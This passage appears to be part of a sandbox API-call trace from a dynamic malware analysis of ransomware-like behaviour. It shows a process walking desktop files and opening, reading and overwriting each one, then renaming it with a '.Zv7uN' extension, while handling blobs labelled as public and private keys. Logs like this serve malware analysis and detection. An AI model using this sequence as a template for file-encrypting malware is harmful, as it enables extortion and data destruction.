FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.821] GetCurrentThreadId () returned 0xa30 [0126.821] GetCurrentThreadId () returned 0xa30 [0126.821] GetCurrentThreadId () returned 0xa30 [0126.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdo1k2CX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdo1k2cx.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.821] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.821] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.822] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x2b73 [0126.822] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.822] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x2b73, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x2b73, lpOverlapped=0x0) returned 1 [0126.824] CloseHandle (hObject=0x120) returned 1 [0126.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdo1k2CX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdo1k2cx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.827] WriteFile (in: hFile=0x120, lpBuffer=0x1efcfa0*, nNumberOfBytesToWrite=0x2b73, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efcfa0*, lpNumberOfBytesWritten=0x18f978*=0x2b73, lpOverlapped=0x0) returned 1 [0126.830] CloseHandle (hObject=0x120) returned 1 [0126.831] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdo1k2CX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdo1k2cx.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdo1k2CX.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdo1k2cx.bmp.zv7un")) returned 1 [0126.834] GetCurrentThreadId () returned 0xa30 [0126.834] GetCurrentThreadId () returned 0xa30 [0126.834] GetCurrentThreadId () returned 0xa30 [0126.834] GetCurrentThreadId () returned 0xa30 [0126.834] GetCurrentThreadId () returned 0xa30 [0126.834] GetCurrentThreadId () returned 0xa30 [0126.834] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e724330, ftCreationTime.dwHighDateTime=0x1d5e674, ftLastAccessTime.dwLowDateTime=0x1340f1a0, ftLastAccessTime.dwHighDateTime=0x1d5d8d3, ftLastWriteTime.dwLowDateTime=0x1340f1a0, ftLastWriteTime.dwHighDateTime=0x1d5d8d3, nFileSizeHigh=0x0, nFileSizeLow=0xd240, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="H3W 7-FelED5Eyhn.avi", cAlternateFileName="H3W7-F~1.AVI")) returned 1 [0126.834] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.834] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3W 7-FelED5Eyhn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3w 7-feled5eyhn.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e724330, ftCreationTime.dwHighDateTime=0x1d5e674, ftLastAccessTime.dwLowDateTime=0x1340f1a0, ftLastAccessTime.dwHighDateTime=0x1d5d8d3, ftLastWriteTime.dwLowDateTime=0x1340f1a0, ftLastWriteTime.dwHighDateTime=0x1d5d8d3, nFileSizeHigh=0x0, nFileSizeLow=0xd240)) returned 1 [0126.834] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3W 7-FelED5Eyhn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3w 7-feled5eyhn.avi")) returned 0x20 [0126.834] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3W 7-FelED5Eyhn.avi", dwFileAttributes=0x80) returned 1 [0126.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.839] GetCurrentThreadId () returned 0xa30 [0126.839] GetCurrentThreadId () returned 0xa30 [0126.839] GetCurrentThreadId () returned 0xa30 [0126.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.840] GetCurrentThreadId () returned 0xa30 [0126.840] GetCurrentThreadId () returned 0xa30 [0126.840] GetCurrentThreadId () returned 0xa30 [0126.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3W 7-FelED5Eyhn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3w 7-feled5eyhn.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.840] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.840] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.840] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xd240 [0126.840] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.841] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xd240, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0xd240, lpOverlapped=0x0) returned 1 [0126.843] CloseHandle (hObject=0x120) returned 1 [0126.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3W 7-FelED5Eyhn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3w 7-feled5eyhn.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.848] WriteFile (in: hFile=0x120, lpBuffer=0x1f06fa0*, nNumberOfBytesToWrite=0xd240, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f06fa0*, lpNumberOfBytesWritten=0x18f978*=0xd240, lpOverlapped=0x0) returned 1 [0126.853] CloseHandle (hObject=0x120) returned 1 [0126.854] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3W 7-FelED5Eyhn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3w 7-feled5eyhn.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H3W 7-FelED5Eyhn.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3w 7-feled5eyhn.avi.zv7un")) returned 1 [0126.857] GetCurrentThreadId () returned 0xa30 [0126.857] GetCurrentThreadId () returned 0xa30 [0126.857] GetCurrentThreadId () returned 0xa30 [0126.857] GetCurrentThreadId () returned 0xa30 [0126.857] GetCurrentThreadId () returned 0xa30 [0126.857] GetCurrentThreadId () returned 0xa30 [0126.857] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161dab0, 